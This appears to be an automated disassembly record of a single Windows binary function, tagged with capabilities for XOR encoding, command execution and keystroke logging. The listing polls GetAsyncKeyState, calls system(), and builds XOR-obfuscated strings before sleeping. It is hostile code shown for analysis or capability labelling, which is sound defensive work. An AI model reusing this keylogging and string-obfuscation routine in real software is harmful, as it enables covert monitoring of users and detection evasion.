Function at 0x140006160
Capabilities:
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ecx, 1
call fcn.1400069f4
lea rcx, str.color_E
mov qword [rbp + 0x67], rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400067e0
xor esi, esi
mov edi, 0x133
nop dword [rax + rax]
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x1400061b0
mov ecx, 0x46
xor edx, edx
call fcn.140001660
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x49], ax
lea edx, [rcx - 0x6e]
movzx r8d, ax
call fcn.140001660
lea ecx, [rdx + 0x71]
mov word [rbp - 0x47], ax
lea edx, [rcx - 0x70]
call fcn.140001660
lea ecx, [rdx + 0x72]
mov word [rbp - 0x45], ax
lea edx, [rcx - 0x71]
call fcn.140001660
lea ecx, [rdx + 0x6b]
mov word [rbp - 0x43], ax
lea edx, [rcx - 0x6a]
call fcn.140001660
lea ecx, [rdx + 0x65]
mov word [rbp - 0x41], ax
lea edx, [rcx - 0x64]
call fcn.140001660
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x3f], ax
lea edx, [rcx - 0x6e]
call fcn.140001660
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x3d], ax
lea edx, [rcx - 0x5e]
call fcn.140001660
lea ecx, [rdx + 0x3c]
mov word [rbp - 0x3b], ax
lea edx, [rcx - 0x3b]
call fcn.140001660
lea ecx, [rdx + 0x64]
mov word [rbp - 0x39], ax
lea edx, [rcx - 0x63]
call fcn.140001660
lea ecx, [rdx + 0x60]
mov word [rbp - 0x37], ax
lea edx, [rcx - 0x5f]
call fcn.140001660
lea ecx, [rdx + 0x5b]
mov word [rbp - 0x35], ax
lea edx, [rcx - 0x5a]
call fcn.140001660
lea ecx, [rdx + 0x63]
mov word [rbp - 0x33], ax
lea edx, [rcx - 0x62]
call fcn.140001660
lea ecx, [rdx + 0x68]
mov word [rbp - 0x31], ax
lea edx, [rcx - 0x67]
call fcn.140001660
lea ecx, [rdx + 0x20]
mov word [rbp - 0x2f], ax
lea edx, [rcx - 0x1f]
call fcn.140001660
lea ecx, [rdx + 0x49]
mov word [rbp - 0x2d], ax
lea edx, [rcx - 0x48]
call fcn.140001660
lea ecx, [rdx + 0x5a]
mov word [rbp - 0x2b], ax
lea edx, [rcx - 0x59]
call fcn.140001660
lea ecx, [rdx + 0x5e]
mov word [rbp - 0x29], ax
lea edx, [rcx - 0x5d]
call fcn.140001660
lea ecx, [rdx + 0x25]
mov word [rbp - 0x27], ax
lea edx, [rcx - 0x24]
call fcn.140001660
lea ecx, [rdx + 0x22]
mov word [rbp - 0x25], ax
lea edx, [rcx - 0x21]
call fcn.140001660
mov word [rbp - 0x23], ax
lea ecx, [rdx + 0x1a]
lea edx, [rcx - 0x19]
call fcn.140001660
lea ecx, [rdx + 0x3f]
mov word [rbp - 0x21], ax
lea edx, [rcx - 0x3e]
call fcn.140001660
lea ecx, [rdx + 0x53]
mov word [rbp - 0x1f], ax
lea edx, [rcx - 0x52]
call fcn.140001660
lea ecx, [rdx + 0x53]
mov word [rbp - 0x1d], ax
lea edx, [rcx - 0x52]
call fcn.140001660
lea ecx, [rdx + 0x59]
mov word [rbp - 0x1b], ax
lea edx, [rcx - 0x58]
call fcn.140001660
lea edx, [rcx - 0x57]
mov word [rbp - 0x19], ax
call fcn.140001660
lea ecx, [rdx + 0x50]
mov word [rbp - 0x17], ax
lea edx, [rcx - 0x4f]
call fcn.140001660
lea ecx, [rdx + 0x54]
mov word [rbp - 0x15], ax
lea edx, [rcx - 0x53]
call fcn.140001660
lea ecx, [rdx + 0x4c]
mov word [rbp - 0x13], ax
lea edx, [rcx - 0x4b]
call fcn.140001660
lea ecx, [rdx + 0x12]
mov word [rbp - 0x11], ax
lea edx, [rcx - 0x11]
call fcn.140001660
lea ecx, [rdx + 0x48]
mov word [rbp - 0xf], ax
lea edx, [rcx - 0x47]
call fcn.140001660
lea ecx, [rdx + 0x5a]
mov word [rbp - 0xd], ax
lea edx, [rcx - 0x59]
call fcn.140001660
lea ecx, [rdx + 0x46]
mov word [rbp - 0xb], ax
lea edx, [rcx - 0x45]
call fcn.140001660
xor ecx, ecx
mov word [rbp - 9], ax
lea edx, [rcx + 0x21]
call fcn.140001660
lea edx, [rcx + 0x22]
mov word [rbp - 7], ax
movzx ecx, word [0x140008614]
call fcn.140001660
movzx ecx, word [0x140008616]
mov edx, 0x23
mov word [rbp - 5], ax
call fcn.140001660
movzx ecx, word [str.FHX.dll]
mov edx, 0x24
mov word [rbp - 3], ax
call fcn.140001660
movzx ecx, word [0x14000861a]
mov edx, 0x25
mov word [rbp - 1], ax
call fcn.140001660
movzx ecx, word [0x14000861c]
mov edx, 0x26
mov word [rbp + 1], ax
call fcn.140001660
movzx ecx, word [0x14000861e]
mov edx, 0x27
mov word [rbp + 3], ax
call fcn.140001660
movzx ecx, word [0x140008620]
mov edx, 0x28
mov word [rbp + 5], ax
call fcn.140001660
movzx ecx, word [0x140008622]
mov edx, 0x29
mov word [rbp + 7], ax
call fcn.140001660
movzx ecx, word [0x140008624]
mov edx, 0x2a
mov word [rbp + 9], ax
call fcn.140001660
movzx ecx, word [0x140008626]
mov edx, 0x2b
mov word [rbp + 0xb], ax
call fcn.140001660
movzx ecx, word [0x140008628]
mov edx, 0x2c
mov word [rbp + 0xd], ax
call fcn.140001660
movzx ecx, word [0x14000862a]
mov edx, 0x2d
mov word [rbp + 0xf], ax
call fcn.140001660
movzx ecx, word [0x14000862c]
mov edx, 0x2e
mov word [rbp + 0x11], ax
call fcn.140001660
movzx ecx, word [0x14000862e]
mov edx, 0x2f
mov word [rbp + 0x13], ax
call fcn.140001660
movzx ecx, word [0x140008630]
mov edx, 0x30
mov word [rbp + 0x15], ax
call fcn.140001660
movzx ecx, word [0x140008632]
mov edx, 0x31
mov word [rbp + 0x17], ax
call fcn.140001660
movzx ecx, word [0x140008634]
mov edx, 0x32
mov word [rbp + 0x19], ax
call fcn.140001660
movzx ecx, word [0x140008636]
mov edx, 0x33
mov word [rbp + 0x1b], ax
call fcn.140001660
movzx ecx, word [0x140008638]
mov edx, 0x34
mov word [rbp + 0x1d], ax
call fcn.140001660
movzx ecx, word [0x14000863a]
mov edx, 0x35
mov word [rbp + 0x1f], ax
call fcn.140001660
movzx ecx, word [0x14000863c]
mov edx, 0x36
mov word [rbp + 0x21], ax
call fcn.140001660
movzx ecx, word [0x14000863e]
mov edx, 0x37
mov word [rbp + 0x23], ax
call fcn.140001660
movzx ecx, word [0x140008640]
mov edx, 0x38
mov word [rbp + 0x25], ax
call fcn.140001660
movzx ecx, word [0x140008642]
mov edx, 0x39
mov word [rbp + 0x27], ax
call fcn.140001660
movzx ecx, word [0x140008644]
mov edx, 0x3a
mov word [rbp + 0x29], ax
call fcn.140001660
movzx ecx, word [0x140008646]
mov edx, 0x3b
mov word [rbp + 0x2b], ax
call fcn.140001660
movzx ecx, word [0x140008648]
mov edx, 0x3c
mov word [rbp + 0x2d], ax
call fcn.140001660
movzx ecx, word [0x14000864a]
mov edx, 0x3d
mov word [rbp + 0x2f], ax
call fcn.140001660
movzx ecx, word [0x14000864c]
mov edx, 0x3e
mov word [rbp + 0x31], ax
call fcn.140001660
movzx ecx, word [0x14000864e]
mov edx, 0x3f
mov word [rbp + 0x33], ax
call fcn.140001660
movzx ecx, word [0x140008650]
mov edx, 0x40
mov word [rbp + 0x35], ax
call fcn.140001660
movzx ecx, word [0x140008652]
mov edx, 0x41
mov word [rbp + 0x37], ax
call fcn.140001660
movzx ecx, word [0x140008654]
mov edx, 0x42
mov word [rbp + 0x39], ax
call fcn.140001660
mov word [rbp + 0x3b], ax
mov ecx, esi
xor eax, eax
mov rdx, rsi
mov word [rbp + 0x3d], ax
nop
lea eax, [rdi + rcx]
inc ecx
xor word [rbp + rdx*2 - 0x49], ax
movsxd rdx, ecx
cmp rdx, 0x43
jb 0x140006680
mov ecx, 0x48
mov word [rbp + 0x3d], si
mov word [rbp - 0x69], r8w
lea edx, [rcx - 0x47]
call fcn.140001660
lea ecx, [rdx + 0x57]
mov word [rbp - 0x67], ax
lea edx, [rcx - 0x56]
call fcn.140001660
lea ecx, [rdx + 0x2c]
mov word [rbp - 0x65], ax
lea edx, [rcx - 0x2b]
call fcn.140001660
lea ecx, [rdx + 0x61]
mov word [rbp - 0x63], ax
lea edx, [rcx - 0x60]
call fcn.140001660
lea ecx, [rdx + 0x68]
mov word [rbp - 0x61], ax
lea edx, [rcx - 0x67]
call fcn.140001660
lea edx, [rcx - 0x66]
mov word [rbp - 0x5f], ax
call fcn.140001660
xor ecx, ecx
mov word [rbp - 0x5d], ax
lea edx, [rcx + 7]
call fcn.140001660
lea edx, [rcx + 8]
mov word [rbp - 0x5b], ax
movzx ecx, word [0x140008628]
call fcn.140001660
movzx ecx, word [0x14000862a]
mov edx, 9
mov word [rbp - 0x59], ax
call fcn.140001660
movzx ecx, word [0x14000862c]
mov edx, 0xa
mov word [rbp - 0x57], ax
call fcn.140001660
movzx ecx, word [0x14000862e]
mov edx, 0xb
mov word [rbp - 0x55], ax
call fcn.140001660
movzx ecx, word [0x140008630]
mov edx, 0xc
mov word [rbp - 0x53], ax
call fcn.140001660
movzx ecx, word [0x140008632]
mov edx, 0xd
mov word [rbp - 0x51], ax
call fcn.140001660
movzx ecx, word [0x140008634]
mov edx, 0xe
mov word [rbp - 0x4f], ax
call fcn.140001660
mov word [rbp - 0x4d], ax
mov rdx, rsi
xor eax, eax
mov word [rbp - 0x4b], ax
nop dword [rax]
lea ecx, [rdi + rax]
inc eax
xor word [rbp + rdx*2 - 0x69], cx
movsxd rdx, eax
cmp rdx, 0xf
jb 0x1400067a0
lea r8, [rbp - 0x49]
mov word [rbp - 0x4b], si
lea rdx, [rbp - 0x69]
mov rcx, rbx
call fcn.140002550
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400061b0